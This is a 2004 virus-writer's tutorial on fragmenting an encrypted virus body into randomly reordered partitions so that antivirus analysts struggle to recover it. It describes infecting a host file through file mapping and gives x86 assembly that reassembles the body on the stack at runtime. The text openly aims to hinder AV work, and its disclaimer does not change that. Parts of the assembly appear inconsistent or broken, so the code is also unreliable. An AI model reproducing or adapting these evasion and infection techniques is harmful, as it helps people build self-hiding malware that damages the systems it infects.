;------------------------------------------------------------------------------- ; DISCLAIMER : All these informations and documentations are given :REMIALCSID ; ; DISCLAIMER : to public in order to understand how is made a :REMIALCSID ; ; DISCLAIMER : virus, I'm not responsible of the use of this :REMIALCSID ; ; DISCLAIMER : (cool) paper. Virus writting is not forbiden! :REMIALCSID ; ; DISCLAIMER : but virus distribution is forbiden!!! :REMIALCSID ; ;------------------------------------------------------------------------------- _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / - - - - - - - - - - - - - - - - - - - - \ | Partitionned virus body using the stack | \_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_/ _ _ _ _ _ _ _ _ / - - - - - - - \ | INTRODUCTION | \_-_-_-_-_-_-_-_/ It is not really polymorphisme... It is not metamorphism... It is not a revolurionnary way to defeat AV... ... ... What is it? ... ... It is just to make crazy the AVers which will try to decrypt virus using this technique... _ _ _ _ _ / - - - - \ | CONCEPT | \_-_-_-_-_/ I can't explain it better whithout schemes: BEFORE INFECTION AFTER INFECTION +------------------+ +------------------+ | DECRYPT | | DECRYPT | | LOOP | | LOOP | +------------------+ +------------------+ | UN-FRAGMENT | | UN-FRAGMENT | | LOOP | | LOOP | _ +------------------+ +------------------+ / | Partition # 1 | | Fragment # 1 | | | | | (partion#5) | | +------------------+ +------------------+ | | Partition # 2 | | Fragment # 2 | | | | | (partion#3) | | +------------------+ +------------------+ / | Partition # 3 | | Fragment # 3 | VIRUS BODY - | | | (partion#1) | (encrypted) \ +------------------+ +------------------+ | | Partition # 4 | | Fragment # 4 | | | | | (partion#2) | | +------------------+ +------------------+ | | Partition # 5 | | Fragment # 5 | | | | | (partion#4) | \_ +------------------+ +------------------+ | partitions TABLE | | partitions TABLE | +------------------+ +------------------+ The partitions has been randomly re-placed... Notation (for this tut): - 'PARTITION' : a small block of the virus body. The partitions are numbered from 1 to n and the first partitions is the first block of the original virus body... - 'FRAGMENT' : A fragment is a partitions which has been replaced in a random way. The fragment are numbered from 1 to n and the first fragment is placed before the second, the second before the third... Here in this quick example we have only 5 partitions which has been replaced in a random way. You can choose to fix the number and the size of the partitions, or the number n' the size of them can be randomly _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / - - - - - - - - - - - - - - - - - - - - - \ | EXAMPLE OF AN 'PARTITIONS TABLE' STUCTURE | \_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_/ In order to unfragment the virus body, we need an little structure which enumerate where was the fragment before infection and which size they are... Here are 2 examples of partitions table structures you can use: * If the number of partitions n' the size are fix: Number_Of_Partitions dw 0 Size_Of_Partitions dw 0 Original_Offset_Of_Fragment#1 dw 0 Original_Offset_Of_Fragment#2 dw 0 (in this case, the size of this Original_Offset_Of_Fragment#3 dw 0 structure is fixed) Original_Offset_Of_Fragment#4 dw 0 Original_Offset_Of_Fragment#5 dw 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Original_Offset_Of_Fragment#n dw 0 (You should choose a point of reference for the offset: offset 0000h can be the beginning of the virus for example) * If the number of partitions n' their size are randomly choosen: Number_Of_Partitions dw 0 Size_Of_Fragment#1 dw 0 Original_Offset_Of_Fragment#1 dw 0 Size_Of_Fragment#2 dw 0 Original_Offset_Of_Fragment#2 dw 0 (in this case, the size of this Size_Of_Fragment#3 dw 0 structure isn't fixed!) Original_Offset_Of_Fragment#3 dw 0 Size_Of_Fragment#4 dw 0 Original_Offset_Of_Fragment#4 dw 0 Size_Of_Fragment#5 dw 0 Original_Offset_Of_Fragment#5 dw 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Original_Offset_Of_Fragment#n dw 0 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / - - - - - - - - - - - - - - - - - \ | HOW TO FRAGMENT THE VIRUS BODY ? | \_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_/ * FIRST, you should create your partitions table: - choose the number of partitions (fix or random) - choose the size of the partitions (fix or random) - write all this values in partitions table * SECOND, you should allocate memory - Map the file to infect - GlobalAlloc API to allocate memory which will contains the 'fragmented virus body' * THIRD, you will write the fragmented body - fragment your virus body using the values in partitions table - Write the fragmented body from allocated memory to the file mapping - Unmap the infected file. _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / - - - - - - - - - - - - - - - - - - \ | HOW TO UNFRAGMENT THE VIRUS BODY ? | \_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_/ Ok!...it is the more fun part of this tut: The problem (if you see the schemes) is that the UNFRAGMENT LOOP is placed just after the DECRYPTOR LOOP, so we can't allocate memory to unfragment the virus body...because we haven't found the address of the API GlobalAlloc. But we need a large buffer to unfragment.... The only way is to use the stack...Harg...If your code is not perfect then you can crash the infected file! ACTION RESULT ----------------------+---------- PUSH DWORD 12345678h | esp-4 POP DWORD 12345678h | esp+4 To avoid to do 'bad stack manipulation', I choose to fix the size of the partitions: Size_Of_One_Partion = n * 4 The size of the partitions should be a power of 4 (in order to push DWORDs) I decide to use this partition table: Number_Of_Partitions dw 29Ah Size_Of_Partitions dw 0 Original_Offset_Of_Fragment#1 dw 0 Original_Offset_Of_Fragment#2 dw 0 Original_Offset_Of_Fragment#3 dw 0 Original_Offset_Of_Fragment#4 dw 0 Original_Offset_Of_Fragment#5 dw 0 * FIRST STEP: PUT THE FRAGMENTED BODY IN THE STACK. ;---------------------------------------------------------------------------------- mov ebx,esp ; save esp... lea esi,[end_of_virus_body+ebp] ; point to the end ; of the virus body mov ecx,end_of_virus_body-begining_of_virus_body ; size mov eax,ecx ; set eax=size of virus body PileOuFace: push dword[esi] ; push data add esi,4 sub ecx,4 cmp ecx,eax ; push one more time? jb PileOuFace ; Oh Yes!!! mov esp,ebx ; restore the stack sub esp,4 ; ;---------------------------------------------------------------------------------- ; ; * SECOND STEP: UNFRAGMENTE THE DODY IN THE STACK. ; ;---------------------------------------------------------------------------------- xor eax,eax ; mov ax,word[Number_Of_Partitions+ebp] ; xchg eax,esi ; esi=number of partitionss lea edx,[Original_Offset_Of_Fragment#1+ebp] ; edx=original offset of this fragment DEFRAG: lea edi,[begining_of_virus_body+ebp] ; xor eax,eax ; mov ax,word[edx] ; add edi,eax ; where to put unfragmented data xor ecx,ecx ; mov cx,word[Size_Of_Partitions+ebp] ; ecx=size of the partitions unfragmente: pop ebx ; pop one DWORD mov dword[edi],ebx ; put the dword POPed sub esp,4 ; sub esp,4 ; adjust esp add edi,4 ; adjust edi (where to put data) sub ecx,4 ; (we have unfragmented 4 bytes) or ecx,ecx ; continue to unfragment??? jnz unfragmente ; OH NO!!! one more time! dec esi ; we have unframented one partition! inc edx ; inc edx ; point on the next Original_Offset_Of_Fragment#n or esi,esi ; NEXT partitions to unfragment? jnz DEFRAG ; OH YEAH!!! begining_of_virus_body: ... ... ... DECRYPT_BODY ... ... ... loop DECRYPT_BODY ... ... end_of_virus_body: Number_Of_Partitions dw 29Ah Size_Of_Partitions dw 0 Original_Offset_Of_Fragment#1 dw 0 Original_Offset_Of_Fragment#2 dw 0 Original_Offset_Of_Fragment#3 dw 0 Original_Offset_Of_Fragment#4 dw 0 Original_Offset_Of_Fragment#5 dw 0 ;---------------------------------------------------------------------------------- I know this code can be optimized in size (about 15 bytes less) but I choose to show you this code as clear has possible! _ _ _ _ _ _ _ _ _ _ / - - - - - - - - - \ | PUSH FINALS WORDS | \_-_-_-_-_-_-_-_-_-_/ If your virus body isn't to big this stack manipulation will run very well... If it is too big you can crash the stack...I've never try to crash the stack ;-) I hope that this tutorial will help you but don't forget this: DON'T DESTROY ANYTHING !!! PEACE ! LiTlLe VxW February 2004